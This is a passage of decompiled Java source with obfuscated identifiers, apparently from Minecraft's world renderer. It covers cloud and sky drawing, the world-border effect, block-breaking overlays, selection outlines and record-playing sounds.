double var26 = this.field_72777_q.field_71439_g.func_174824_e(p_174976_1_).field_72448_b - this.field_72769_h.func_72919_O();
if(var26 < 0.0D) {
GlStateManager.func_179094_E();
GlStateManager.func_179109_b(0.0F, 12.0F, 0.0F);
if(this.field_175005_X) {
this.field_175011_u.func_177359_a();
GL11.glEnableClientState('\u8074');
GL11.glVertexPointer(3, 5126, 12, 0L);
this.field_175011_u.func_177358_a(7);
this.field_175011_u.func_177361_b();
GL11.glDisableClientState('\u8074');
} else {
GlStateManager.func_179148_o(this.field_72781_x);
}
GlStateManager.func_179121_F();
var12 = 1.0F;
var13 = -((float)(var26 + 65.0D));
var14 = -1.0F;
var24.func_178970_b();
var24.func_178974_a(0, 255);
var24.func_178984_b(-1.0D, (double)var13, 1.0D);
var24.func_178984_b(1.0D, (double)var13, 1.0D);
var24.func_178984_b(1.0D, -1.0D, 1.0D);
var24.func_178984_b(-1.0D, -1.0D, 1.0D);
var24.func_178984_b(-1.0D, -1.0D, -1.0D);
var24.func_178984_b(1.0D, -1.0D, -1.0D);
var24.func_178984_b(1.0D, (double)var13, -1.0D);
var24.func_178984_b(-1.0D, (double)var13, -1.0D);
var24.func_178984_b(1.0D, -1.0D, -1.0D);
var24.func_178984_b(1.0D, -1.0D, 1.0D);
var24.func_178984_b(1.0D, (double)var13, 1.0D);
var24.func_178984_b(1.0D, (double)var13, -1.0D);
var24.func_178984_b(-1.0D, (double)var13, -1.0D);
var24.func_178984_b(-1.0D, (double)var13, 1.0D);
var24.func_178984_b(-1.0D, -1.0D, 1.0D);
var24.func_178984_b(-1.0D, -1.0D, -1.0D);
var24.func_178984_b(-1.0D, -1.0D, -1.0D);
var24.func_178984_b(-1.0D, -1.0D, 1.0D);
var24.func_178984_b(1.0D, -1.0D, 1.0D);
var24.func_178984_b(1.0D, -1.0D, -1.0D);
var23.func_78381_a();
}
if(this.field_72769_h.field_73011_w.func_76561_g()) {
GlStateManager.func_179124_c(var4 * 0.2F + 0.04F, var5 * 0.2F + 0.04F, var6 * 0.6F + 0.1F);
} else {
GlStateManager.func_179124_c(var4, var5, var6);
}
GlStateManager.func_179094_E();
GlStateManager.func_179109_b(0.0F, -((float)(var26 - 16.0D)), 0.0F);
GlStateManager.func_179148_o(this.field_72781_x);
GlStateManager.func_179121_F();
GlStateManager.func_179098_w();
GlStateManager.func_179132_a(true);
}
}
public void func_180447_b(float p_180447_1_, int p_180447_2_) {
if(this.field_72777_q.field_71441_e.field_73011_w.func_76569_d()) {
if(this.field_72777_q.field_71474_y.field_74347_j) {
this.func_180445_c(p_180447_1_, p_180447_2_);
} else {
GlStateManager.func_179129_p();
float var3 = (float)(this.field_72777_q.func_175606_aa().field_70137_T + (this.field_72777_q.func_175606_aa().field_70163_u - this.field_72777_q.func_175606_aa().field_70137_T) * (double)p_180447_1_);
boolean var4 = true;
boolean var5 = true;
Tessellator var6 = Tessellator.func_178181_a();
WorldRenderer var7 = var6.func_178180_c();
this.field_72770_i.func_110577_a(field_110925_j);
GlStateManager.func_179147_l();
GlStateManager.func_179120_a(770, 771, 1, 0);
Vec3 var8 = this.field_72769_h.func_72824_f(p_180447_1_);
float var9 = (float)var8.field_72450_a;
float var10 = (float)var8.field_72448_b;
float var11 = (float)var8.field_72449_c;
float var12;
if(p_180447_2_ != 2) {
var12 = (var9 * 30.0F + var10 * 59.0F + var11 * 11.0F) / 100.0F;
float var13 = (var9 * 30.0F + var10 * 70.0F) / 100.0F;
float var14 = (var9 * 30.0F + var11 * 70.0F) / 100.0F;
var9 = var12;
var10 = var13;
var11 = var14;
}
var12 = 4.8828125E-4F;
double var26 = (double)((float)this.field_72773_u + p_180447_1_);
double var15 = this.field_72777_q.func_175606_aa().field_70169_q + (this.field_72777_q.func_175606_aa().field_70165_t - this.field_72777_q.func_175606_aa().field_70169_q) * (double)p_180447_1_ + var26 * 0.029999999329447746D;
double var17 = this.field_72777_q.func_175606_aa().field_70166_s + (this.field_72777_q.func_175606_aa().field_70161_v - this.field_72777_q.func_175606_aa().field_70166_s) * (double)p_180447_1_;
int var19 = MathHelper.func_76128_c(var15 / 2048.0D);
int var20 = MathHelper.func_76128_c(var17 / 2048.0D);
var15 -= (double)(var19 * 2048);
var17 -= (double)(var20 * 2048);
float var21 = this.field_72769_h.field_73011_w.func_76571_f() - var3 + 0.33F;
float var22 = (float)(var15 * 4.8828125E-4D);
float var23 = (float)(var17 * 4.8828125E-4D);
var7.func_178970_b();
var7.func_178960_a(var9, var10, var11, 0.8F);
for(int var24 = -256; var24 < 256; var24 += 32) {
for(int var25 = -256; var25 < 256; var25 += 32) {
var7.func_178985_a((double)(var24 + 0), (double)var21, (double)(var25 + 32), (double)((float)(var24 + 0) * 4.8828125E-4F + var22), (double)((float)(var25 + 32) * 4.8828125E-4F + var23));
var7.func_178985_a((double)(var24 + 32), (double)var21, (double)(var25 + 32), (double)((float)(var24 + 32) * 4.8828125E-4F + var22), (double)((float)(var25 + 32) * 4.8828125E-4F + var23));
var7.func_178985_a((double)(var24 + 32), (double)var21, (double)(var25 + 0), (double)((float)(var24 + 32) * 4.8828125E-4F + var22), (double)((float)(var25 + 0) * 4.8828125E-4F + var23));
var7.func_178985_a((double)(var24 + 0), (double)var21, (double)(var25 + 0), (double)((float)(var24 + 0) * 4.8828125E-4F + var22), (double)((float)(var25 + 0) * 4.8828125E-4F + var23));
}
}
var6.func_78381_a();
GlStateManager.func_179131_c(1.0F, 1.0F, 1.0F, 1.0F);
GlStateManager.func_179084_k();
GlStateManager.func_179089_o();
}
}
}
public boolean func_72721_a(double p_72721_1_, double p_72721_3_, double p_72721_5_, float p_72721_7_) {
return false;
}
private void func_180445_c(float p_180445_1_, int p_180445_2_) {
GlStateManager.func_179129_p();
float var3 = (float)(this.field_72777_q.func_175606_aa().field_70137_T + (this.field_72777_q.func_175606_aa().field_70163_u - this.field_72777_q.func_175606_aa().field_70137_T) * (double)p_180445_1_);
Tessellator var4 = Tessellator.func_178181_a();
WorldRenderer var5 = var4.func_178180_c();
float var6 = 12.0F;
float var7 = 4.0F;
double var8 = (double)((float)this.field_72773_u + p_180445_1_);
double var10 = (this.field_72777_q.func_175606_aa().field_70169_q + (this.field_72777_q.func_175606_aa().field_70165_t - this.field_72777_q.func_175606_aa().field_70169_q) * (double)p_180445_1_ + var8 * 0.029999999329447746D) / 12.0D;
double var12 = (this.field_72777_q.func_175606_aa().field_70166_s + (this.field_72777_q.func_175606_aa().field_70161_v - this.field_72777_q.func_175606_aa().field_70166_s) * (double)p_180445_1_) / 12.0D + 0.33000001311302185D;
float var14 = this.field_72769_h.field_73011_w.func_76571_f() - var3 + 0.33F;
int var15 = MathHelper.func_76128_c(var10 / 2048.0D);
int var16 = MathHelper.func_76128_c(var12 / 2048.0D);
var10 -= (double)(var15 * 2048);
var12 -= (double)(var16 * 2048);
this.field_72770_i.func_110577_a(field_110925_j);
GlStateManager.func_179147_l();
GlStateManager.func_179120_a(770, 771, 1, 0);
Vec3 var17 = this.field_72769_h.func_72824_f(p_180445_1_);
float var18 = (float)var17.field_72450_a;
float var19 = (float)var17.field_72448_b;
float var20 = (float)var17.field_72449_c;
float var21;
float var22;
float var23;
if(p_180445_2_ != 2) {
var21 = (var18 * 30.0F + var19 * 59.0F + var20 * 11.0F) / 100.0F;
var22 = (var18 * 30.0F + var19 * 70.0F) / 100.0F;
var23 = (var18 * 30.0F + var20 * 70.0F) / 100.0F;
var18 = var21;
var19 = var22;
var20 = var23;
}
var21 = 0.00390625F;
var22 = (float)MathHelper.func_76128_c(var10) * 0.00390625F;
var23 = (float)MathHelper.func_76128_c(var12) * 0.00390625F;
float var24 = (float)(var10 - (double)MathHelper.func_76128_c(var10));
float var25 = (float)(var12 - (double)MathHelper.func_76128_c(var12));
boolean var26 = true;
boolean var27 = true;
float var28 = 9.765625E-4F;
GlStateManager.func_179152_a(12.0F, 1.0F, 12.0F);
for(int var29 = 0; var29 < 2; ++var29) {
if(var29 == 0) {
GlStateManager.func_179135_a(false, false, false, false);
} else {
switch(p_180445_2_) {
case 0:
GlStateManager.func_179135_a(false, true, true, true);
break;
case 1:
GlStateManager.func_179135_a(true, false, false, true);
break;
case 2:
GlStateManager.func_179135_a(true, true, true, true);
}
}
for(int var30 = -3; var30 <= 4; ++var30) {
for(int var31 = -3; var31 <= 4; ++var31) {
var5.func_178970_b();
float var32 = (float)(var30 * 8);
float var33 = (float)(var31 * 8);
float var34 = var32 - var24;
float var35 = var33 - var25;
if(var14 > -5.0F) {
var5.func_178960_a(var18 * 0.7F, var19 * 0.7F, var20 * 0.7F, 0.8F);
var5.func_178980_d(0.0F, -1.0F, 0.0F);
var5.func_178985_a((double)(var34 + 0.0F), (double)(var14 + 0.0F), (double)(var35 + 8.0F), (double)((var32 + 0.0F) * 0.00390625F + var22), (double)((var33 + 8.0F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + 8.0F), (double)(var14 + 0.0F), (double)(var35 + 8.0F), (double)((var32 + 8.0F) * 0.00390625F + var22), (double)((var33 + 8.0F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + 8.0F), (double)(var14 + 0.0F), (double)(var35 + 0.0F), (double)((var32 + 8.0F) * 0.00390625F + var22), (double)((var33 + 0.0F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + 0.0F), (double)(var14 + 0.0F), (double)(var35 + 0.0F), (double)((var32 + 0.0F) * 0.00390625F + var22), (double)((var33 + 0.0F) * 0.00390625F + var23));
}
if(var14 <= 5.0F) {
var5.func_178960_a(var18, var19, var20, 0.8F);
var5.func_178980_d(0.0F, 1.0F, 0.0F);
var5.func_178985_a((double)(var34 + 0.0F), (double)(var14 + 4.0F - 9.765625E-4F), (double)(var35 + 8.0F), (double)((var32 + 0.0F) * 0.00390625F + var22), (double)((var33 + 8.0F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + 8.0F), (double)(var14 + 4.0F - 9.765625E-4F), (double)(var35 + 8.0F), (double)((var32 + 8.0F) * 0.00390625F + var22), (double)((var33 + 8.0F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + 8.0F), (double)(var14 + 4.0F - 9.765625E-4F), (double)(var35 + 0.0F), (double)((var32 + 8.0F) * 0.00390625F + var22), (double)((var33 + 0.0F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + 0.0F), (double)(var14 + 4.0F - 9.765625E-4F), (double)(var35 + 0.0F), (double)((var32 + 0.0F) * 0.00390625F + var22), (double)((var33 + 0.0F) * 0.00390625F + var23));
}
var5.func_178960_a(var18 * 0.9F, var19 * 0.9F, var20 * 0.9F, 0.8F);
int var36;
if(var30 > -1) {
var5.func_178980_d(-1.0F, 0.0F, 0.0F);
for(var36 = 0; var36 < 8; ++var36) {
var5.func_178985_a((double)(var34 + (float)var36 + 0.0F), (double)(var14 + 0.0F), (double)(var35 + 8.0F), (double)((var32 + (float)var36 + 0.5F) * 0.00390625F + var22), (double)((var33 + 8.0F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + (float)var36 + 0.0F), (double)(var14 + 4.0F), (double)(var35 + 8.0F), (double)((var32 + (float)var36 + 0.5F) * 0.00390625F + var22), (double)((var33 + 8.0F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + (float)var36 + 0.0F), (double)(var14 + 4.0F), (double)(var35 + 0.0F), (double)((var32 + (float)var36 + 0.5F) * 0.00390625F + var22), (double)((var33 + 0.0F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + (float)var36 + 0.0F), (double)(var14 + 0.0F), (double)(var35 + 0.0F), (double)((var32 + (float)var36 + 0.5F) * 0.00390625F + var22), (double)((var33 + 0.0F) * 0.00390625F + var23));
}
}
if(var30 <= 1) {
var5.func_178980_d(1.0F, 0.0F, 0.0F);
for(var36 = 0; var36 < 8; ++var36) {
var5.func_178985_a((double)(var34 + (float)var36 + 1.0F - 9.765625E-4F), (double)(var14 + 0.0F), (double)(var35 + 8.0F), (double)((var32 + (float)var36 + 0.5F) * 0.00390625F + var22), (double)((var33 + 8.0F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + (float)var36 + 1.0F - 9.765625E-4F), (double)(var14 + 4.0F), (double)(var35 + 8.0F), (double)((var32 + (float)var36 + 0.5F) * 0.00390625F + var22), (double)((var33 + 8.0F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + (float)var36 + 1.0F - 9.765625E-4F), (double)(var14 + 4.0F), (double)(var35 + 0.0F), (double)((var32 + (float)var36 + 0.5F) * 0.00390625F + var22), (double)((var33 + 0.0F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + (float)var36 + 1.0F - 9.765625E-4F), (double)(var14 + 0.0F), (double)(var35 + 0.0F), (double)((var32 + (float)var36 + 0.5F) * 0.00390625F + var22), (double)((var33 + 0.0F) * 0.00390625F + var23));
}
}
var5.func_178960_a(var18 * 0.8F, var19 * 0.8F, var20 * 0.8F, 0.8F);
if(var31 > -1) {
var5.func_178980_d(0.0F, 0.0F, -1.0F);
for(var36 = 0; var36 < 8; ++var36) {
var5.func_178985_a((double)(var34 + 0.0F), (double)(var14 + 4.0F), (double)(var35 + (float)var36 + 0.0F), (double)((var32 + 0.0F) * 0.00390625F + var22), (double)((var33 + (float)var36 + 0.5F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + 8.0F), (double)(var14 + 4.0F), (double)(var35 + (float)var36 + 0.0F), (double)((var32 + 8.0F) * 0.00390625F + var22), (double)((var33 + (float)var36 + 0.5F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + 8.0F), (double)(var14 + 0.0F), (double)(var35 + (float)var36 + 0.0F), (double)((var32 + 8.0F) * 0.00390625F + var22), (double)((var33 + (float)var36 + 0.5F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + 0.0F), (double)(var14 + 0.0F), (double)(var35 + (float)var36 + 0.0F), (double)((var32 + 0.0F) * 0.00390625F + var22), (double)((var33 + (float)var36 + 0.5F) * 0.00390625F + var23));
}
}
if(var31 <= 1) {
var5.func_178980_d(0.0F, 0.0F, 1.0F);
for(var36 = 0; var36 < 8; ++var36) {
var5.func_178985_a((double)(var34 + 0.0F), (double)(var14 + 4.0F), (double)(var35 + (float)var36 + 1.0F - 9.765625E-4F), (double)((var32 + 0.0F) * 0.00390625F + var22), (double)((var33 + (float)var36 + 0.5F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + 8.0F), (double)(var14 + 4.0F), (double)(var35 + (float)var36 + 1.0F - 9.765625E-4F), (double)((var32 + 8.0F) * 0.00390625F + var22), (double)((var33 + (float)var36 + 0.5F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + 8.0F), (double)(var14 + 0.0F), (double)(var35 + (float)var36 + 1.0F - 9.765625E-4F), (double)((var32 + 8.0F) * 0.00390625F + var22), (double)((var33 + (float)var36 + 0.5F) * 0.00390625F + var23));
var5.func_178985_a((double)(var34 + 0.0F), (double)(var14 + 0.0F), (double)(var35 + (float)var36 + 1.0F - 9.765625E-4F), (double)((var32 + 0.0F) * 0.00390625F + var22), (double)((var33 + (float)var36 + 0.5F) * 0.00390625F + var23));
}
}
var4.func_78381_a();
}
}
}
GlStateManager.func_179131_c(1.0F, 1.0F, 1.0F, 1.0F);
GlStateManager.func_179084_k();
GlStateManager.func_179089_o();
}
public void func_174967_a(long p_174967_1_) {
this.field_147595_R |= this.field_174995_M.func_178516_a(p_174967_1_);
Iterator var3 = this.field_175009_l.iterator();
while(var3.hasNext()) {
RenderChunk var4 = (RenderChunk)var3.next();
if(!this.field_174995_M.func_178507_a(var4)) {
break;
}
var4.func_178575_a(false);
var3.remove();
}
}
public void func_180449_a(Entity p_180449_1_, float p_180449_2_) {
Tessellator var3 = Tessellator.func_178181_a();
WorldRenderer var4 = var3.func_178180_c();
WorldBorder var5 = this.field_72769_h.func_175723_af();
double var6 = (double)(this.field_72777_q.field_71474_y.field_151451_c * 16);
if(p_180449_1_.field_70165_t >= var5.func_177728_d() - var6 || p_180449_1_.field_70165_t <= var5.func_177726_b() + var6 || p_180449_1_.field_70161_v >= var5.func_177733_e() - var6 || p_180449_1_.field_70161_v <= var5.func_177736_c() + var6) {
double var8 = 1.0D - var5.func_177745_a(p_180449_1_) / var6;
var8 = Math.pow(var8, 4.0D);
double var10 = p_180449_1_.field_70142_S + (p_180449_1_.field_70165_t - p_180449_1_.field_70142_S) * (double)p_180449_2_;
double var12 = p_180449_1_.field_70137_T + (p_180449_1_.field_70163_u - p_180449_1_.field_70137_T) * (double)p_180449_2_;
double var14 = p_180449_1_.field_70136_U + (p_180449_1_.field_70161_v - p_180449_1_.field_70136_U) * (double)p_180449_2_;
GlStateManager.func_179147_l();
GlStateManager.func_179120_a(770, 1, 1, 0);
this.field_72770_i.func_110577_a(field_175006_g);
GlStateManager.func_179132_a(false);
GlStateManager.func_179094_E();
int var16 = var5.func_177734_a().func_177766_a();
float var17 = (float)(var16 >> 16 & 255) / 255.0F;
float var18 = (float)(var16 >> 8 & 255) / 255.0F;
float var19 = (float)(var16 & 255) / 255.0F;
GlStateManager.func_179131_c(var17, var18, var19, (float)var8);
GlStateManager.func_179136_a(-3.0F, -3.0F);
GlStateManager.func_179088_q();
GlStateManager.func_179092_a(516, 0.1F);
GlStateManager.func_179141_d();
GlStateManager.func_179129_p();
float var20 = (float)(Minecraft.func_71386_F() % 3000L) / 3000.0F;
float var21 = 0.0F;
float var22 = 0.0F;
float var23 = 128.0F;
var4.func_178970_b();
var4.func_178969_c(-var10, -var12, -var14);
var4.func_78914_f();
double var24 = Math.max((double)MathHelper.func_76128_c(var14 - var6), var5.func_177736_c());
double var26 = Math.min((double)MathHelper.func_76143_f(var14 + var6), var5.func_177733_e());
float var28;
double var29;
double var31;
float var33;
if(var10 > var5.func_177728_d() - var6) {
var28 = 0.0F;
for(var29 = var24; var29 < var26; var28 += 0.5F) {
var31 = Math.min(1.0D, var26 - var29);
var33 = (float)var31 * 0.5F;
var4.func_178985_a(var5.func_177728_d(), 256.0D, var29, (double)(var20 + var28), (double)(var20 + 0.0F));
var4.func_178985_a(var5.func_177728_d(), 256.0D, var29 + var31, (double)(var20 + var33 + var28), (double)(var20 + 0.0F));
var4.func_178985_a(var5.func_177728_d(), 0.0D, var29 + var31, (double)(var20 + var33 + var28), (double)(var20 + 128.0F));
var4.func_178985_a(var5.func_177728_d(), 0.0D, var29, (double)(var20 + var28), (double)(var20 + 128.0F));
++var29;
}
}
if(var10 < var5.func_177726_b() + var6) {
var28 = 0.0F;
for(var29 = var24; var29 < var26; var28 += 0.5F) {
var31 = Math.min(1.0D, var26 - var29);
var33 = (float)var31 * 0.5F;
var4.func_178985_a(var5.func_177726_b(), 256.0D, var29, (double)(var20 + var28), (double)(var20 + 0.0F));
var4.func_178985_a(var5.func_177726_b(), 256.0D, var29 + var31, (double)(var20 + var33 + var28), (double)(var20 + 0.0F));
var4.func_178985_a(var5.func_177726_b(), 0.0D, var29 + var31, (double)(var20 + var33 + var28), (double)(var20 + 128.0F));
var4.func_178985_a(var5.func_177726_b(), 0.0D, var29, (double)(var20 + var28), (double)(var20 + 128.0F));
++var29;
}
}
var24 = Math.max((double)MathHelper.func_76128_c(var10 - var6), var5.func_177726_b());
var26 = Math.min((double)MathHelper.func_76143_f(var10 + var6), var5.func_177728_d());
if(var14 > var5.func_177733_e() - var6) {
var28 = 0.0F;
for(var29 = var24; var29 < var26; var28 += 0.5F) {
var31 = Math.min(1.0D, var26 - var29);
var33 = (float)var31 * 0.5F;
var4.func_178985_a(var29, 256.0D, var5.func_177733_e(), (double)(var20 + var28), (double)(var20 + 0.0F));
var4.func_178985_a(var29 + var31, 256.0D, var5.func_177733_e(), (double)(var20 + var33 + var28), (double)(var20 + 0.0F));
var4.func_178985_a(var29 + var31, 0.0D, var5.func_177733_e(), (double)(var20 + var33 + var28), (double)(var20 + 128.0F));
var4.func_178985_a(var29, 0.0D, var5.func_177733_e(), (double)(var20 + var28), (double)(var20 + 128.0F));
++var29;
}
}
if(var14 < var5.func_177736_c() + var6) {
var28 = 0.0F;
for(var29 = var24; var29 < var26; var28 += 0.5F) {
var31 = Math.min(1.0D, var26 - var29);
var33 = (float)var31 * 0.5F;
var4.func_178985_a(var29, 256.0D, var5.func_177736_c(), (double)(var20 + var28), (double)(var20 + 0.0F));
var4.func_178985_a(var29 + var31, 256.0D, var5.func_177736_c(), (double)(var20 + var33 + var28), (double)(var20 + 0.0F));
var4.func_178985_a(var29 + var31, 0.0D, var5.func_177736_c(), (double)(var20 + var33 + var28), (double)(var20 + 128.0F));
var4.func_178985_a(var29, 0.0D, var5.func_177736_c(), (double)(var20 + var28), (double)(var20 + 128.0F));
++var29;
}
}
var3.func_78381_a();
var4.func_178969_c(0.0D, 0.0D, 0.0D);
GlStateManager.func_179089_o();
GlStateManager.func_179118_c();
GlStateManager.func_179136_a(0.0F, 0.0F);
GlStateManager.func_179113_r();
GlStateManager.func_179141_d();
GlStateManager.func_179084_k();
GlStateManager.func_179121_F();
GlStateManager.func_179132_a(true);
}
}
private void func_180443_s() {
GlStateManager.func_179120_a(774, 768, 1, 0);
GlStateManager.func_179147_l();
GlStateManager.func_179131_c(1.0F, 1.0F, 1.0F, 0.5F);
GlStateManager.func_179136_a(-3.0F, -3.0F);
GlStateManager.func_179088_q();
GlStateManager.func_179092_a(516, 0.1F);
GlStateManager.func_179141_d();
GlStateManager.func_179094_E();
}
private void func_174969_t() {
GlStateManager.func_179118_c();
GlStateManager.func_179136_a(0.0F, 0.0F);
GlStateManager.func_179113_r();
GlStateManager.func_179141_d();
GlStateManager.func_179132_a(true);
GlStateManager.func_179121_F();
}
public void func_174981_a(Tessellator p_174981_1_, WorldRenderer p_174981_2_, Entity p_174981_3_, float p_174981_4_) {
double var5 = p_174981_3_.field_70142_S + (p_174981_3_.field_70165_t - p_174981_3_.field_70142_S) * (double)p_174981_4_;
double var7 = p_174981_3_.field_70137_T + (p_174981_3_.field_70163_u - p_174981_3_.field_70137_T) * (double)p_174981_4_;
double var9 = p_174981_3_.field_70136_U + (p_174981_3_.field_70161_v - p_174981_3_.field_70136_U) * (double)p_174981_4_;
if(!this.field_72738_E.isEmpty()) {
this.field_72770_i.func_110577_a(TextureMap.field_110575_b);
this.func_180443_s();
p_174981_2_.func_178970_b();
p_174981_2_.func_178967_a(DefaultVertexFormats.field_176600_a);
p_174981_2_.func_178969_c(-var5, -var7, -var9);
p_174981_2_.func_78914_f();
Iterator var11 = this.field_72738_E.values().iterator();
while(var11.hasNext()) {
DestroyBlockProgress var12 = (DestroyBlockProgress)var11.next();
BlockPos var13 = var12.func_180246_b();
double var14 = (double)var13.func_177958_n() - var5;
double var16 = (double)var13.func_177956_o() - var7;
double var18 = (double)var13.func_177952_p() - var9;
Block var20 = this.field_72769_h.func_180495_p(var13).func_177230_c();
if(!(var20 instanceof BlockChest) && !(var20 instanceof BlockEnderChest) && !(var20 instanceof BlockSign) && !(var20 instanceof BlockSkull)) {
if(var14 * var14 + var16 * var16 + var18 * var18 > 1024.0D) {
var11.remove();
} else {
IBlockState var21 = this.field_72769_h.func_180495_p(var13);
if(var21.func_177230_c().func_149688_o() != Material.field_151579_a) {
int var22 = var12.func_73106_e();
TextureAtlasSprite var23 = this.field_94141_F[var22];
BlockRendererDispatcher var24 = this.field_72777_q.func_175602_ab();
var24.func_175020_a(var21, var13, var23, this.field_72769_h);
}
}
}
}
p_174981_1_.func_78381_a();
p_174981_2_.func_178969_c(0.0D, 0.0D, 0.0D);
this.func_174969_t();
}
}
public void func_72731_b(EntityPlayer p_72731_1_, MovingObjectPosition p_72731_2_, int p_72731_3_, float p_72731_4_) {
if(p_72731_3_ == 0 && p_72731_2_.field_72313_a == MovingObjectPosition.MovingObjectType.BLOCK) {
GlStateManager.func_179147_l();
GlStateManager.func_179120_a(770, 771, 1, 0);
GlStateManager.func_179131_c(0.0F, 0.0F, 0.0F, 0.4F);
GL11.glLineWidth(2.0F);
GlStateManager.func_179090_x();
GlStateManager.func_179132_a(false);
float var5 = 0.002F;
BlockPos var6 = p_72731_2_.func_178782_a();
Block var7 = this.field_72769_h.func_180495_p(var6).func_177230_c();
if(var7.func_149688_o() != Material.field_151579_a && this.field_72769_h.func_175723_af().func_177746_a(var6)) {
var7.func_180654_a(this.field_72769_h, var6);
double var8 = p_72731_1_.field_70142_S + (p_72731_1_.field_70165_t - p_72731_1_.field_70142_S) * (double)p_72731_4_;
double var10 = p_72731_1_.field_70137_T + (p_72731_1_.field_70163_u - p_72731_1_.field_70137_T) * (double)p_72731_4_;
double var12 = p_72731_1_.field_70136_U + (p_72731_1_.field_70161_v - p_72731_1_.field_70136_U) * (double)p_72731_4_;
func_147590_a(var7.func_180646_a(this.field_72769_h, var6).func_72314_b(0.0020000000949949026D, 0.0020000000949949026D, 0.0020000000949949026D).func_72317_d(-var8, -var10, -var12), -1);
}
GlStateManager.func_179132_a(true);
GlStateManager.func_179098_w();
GlStateManager.func_179084_k();
}
}
public static void func_147590_a(AxisAlignedBB p_147590_0_, int p_147590_1_) {
Tessellator var2 = Tessellator.func_178181_a();
WorldRenderer var3 = var2.func_178180_c();
var3.func_178964_a(3);
if(p_147590_1_ != -1) {
var3.func_178991_c(p_147590_1_);
}
var3.func_178984_b(p_147590_0_.field_72340_a, p_147590_0_.field_72338_b, p_147590_0_.field_72339_c);
var3.func_178984_b(p_147590_0_.field_72336_d, p_147590_0_.field_72338_b, p_147590_0_.field_72339_c);
var3.func_178984_b(p_147590_0_.field_72336_d, p_147590_0_.field_72338_b, p_147590_0_.field_72334_f);
var3.func_178984_b(p_147590_0_.field_72340_a, p_147590_0_.field_72338_b, p_147590_0_.field_72334_f);
var3.func_178984_b(p_147590_0_.field_72340_a, p_147590_0_.field_72338_b, p_147590_0_.field_72339_c);
var2.func_78381_a();
var3.func_178964_a(3);
if(p_147590_1_ != -1) {
var3.func_178991_c(p_147590_1_);
}
var3.func_178984_b(p_147590_0_.field_72340_a, p_147590_0_.field_72337_e, p_147590_0_.field_72339_c);
var3.func_178984_b(p_147590_0_.field_72336_d, p_147590_0_.field_72337_e, p_147590_0_.field_72339_c);
var3.func_178984_b(p_147590_0_.field_72336_d, p_147590_0_.field_72337_e, p_147590_0_.field_72334_f);
var3.func_178984_b(p_147590_0_.field_72340_a, p_147590_0_.field_72337_e, p_147590_0_.field_72334_f);
var3.func_178984_b(p_147590_0_.field_72340_a, p_147590_0_.field_72337_e, p_147590_0_.field_72339_c);
var2.func_78381_a();
var3.func_178964_a(1);
if(p_147590_1_ != -1) {
var3.func_178991_c(p_147590_1_);
}
var3.func_178984_b(p_147590_0_.field_72340_a, p_147590_0_.field_72338_b, p_147590_0_.field_72339_c);
var3.func_178984_b(p_147590_0_.field_72340_a, p_147590_0_.field_72337_e, p_147590_0_.field_72339_c);
var3.func_178984_b(p_147590_0_.field_72336_d, p_147590_0_.field_72338_b, p_147590_0_.field_72339_c);
var3.func_178984_b(p_147590_0_.field_72336_d, p_147590_0_.field_72337_e, p_147590_0_.field_72339_c);
var3.func_178984_b(p_147590_0_.field_72336_d, p_147590_0_.field_72338_b, p_147590_0_.field_72334_f);
var3.func_178984_b(p_147590_0_.field_72336_d, p_147590_0_.field_72337_e, p_147590_0_.field_72334_f);
var3.func_178984_b(p_147590_0_.field_72340_a, p_147590_0_.field_72338_b, p_147590_0_.field_72334_f);
var3.func_178984_b(p_147590_0_.field_72340_a, p_147590_0_.field_72337_e, p_147590_0_.field_72334_f);
var2.func_78381_a();
}
private void func_72725_b(int p_72725_1_, int p_72725_2_, int p_72725_3_, int p_72725_4_, int p_72725_5_, int p_72725_6_) {
this.field_175008_n.func_178162_a(p_72725_1_, p_72725_2_, p_72725_3_, p_72725_4_, p_72725_5_, p_72725_6_);
}
public void func_174960_a(BlockPos p_174960_1_) {
int var2 = p_174960_1_.func_177958_n();
int var3 = p_174960_1_.func_177956_o();
int var4 = p_174960_1_.func_177952_p();
this.func_72725_b(var2 - 1, var3 - 1, var4 - 1, var2 + 1, var3 + 1, var4 + 1);
}
public void func_174959_b(BlockPos p_174959_1_) {
int var2 = p_174959_1_.func_177958_n();
int var3 = p_174959_1_.func_177956_o();
int var4 = p_174959_1_.func_177952_p();
this.func_72725_b(var2 - 1, var3 - 1, var4 - 1, var2 + 1, var3 + 1, var4 + 1);
}
public void func_147585_a(int p_147585_1_, int p_147585_2_, int p_147585_3_, int p_147585_4_, int p_147585_5_, int p_147585_6_) {
this.func_72725_b(p_147585_1_ - 1, p_147585_2_ - 1, p_147585_3_ - 1, p_147585_4_ + 1, p_147585_5_ + 1, p_147585_6_ + 1);
}
public void func_174961_a(String p_174961_1_, BlockPos p_174961_2_) {
ISound var3 = (ISound)this.field_147593_P.get(p_174961_2_);
if(var3 != null) {
this.field_72777_q.func_147118_V().func_147683_b(var3);
this.field_147593_P.remove(p_174961_2_);
}
if(p_174961_1_ != null) {
ItemRecord var4 = ItemRecord.func_150926_b(p_174961_1_);
if(var4 != null) {
this.field_72777_q.field_71456_v.func_73833_a(var4.func_150927_i());
}
PositionedSoundRecord var5 = PositionedSoundRecord.func_147675_a(new ResourceLocation(p_174961_1_), (float)p_174961_2_.func_177958_n(), (float)p_174961_2_.func_177956_o(), (float)p_174961_2_.func_177952_p());
this.field_147593_P.put(p_174961_2_, var5);
this.field_72777_q.func_147118_V().func_147682_a(var5);
}
}
public void func_72704_a(String p_72704_1_, double p_72704_2_, double p_72704_4_, double p_72704_6_, float p_72704_8_, float p_72704_9_) {}
public void func_85102_a(EntityPlayer p_85102_1_, String p_85102_2_, double p_85102_3_, double p_85102_5_, double p_85102_7_, float p_85102_9_, float p_85102_10_) {}
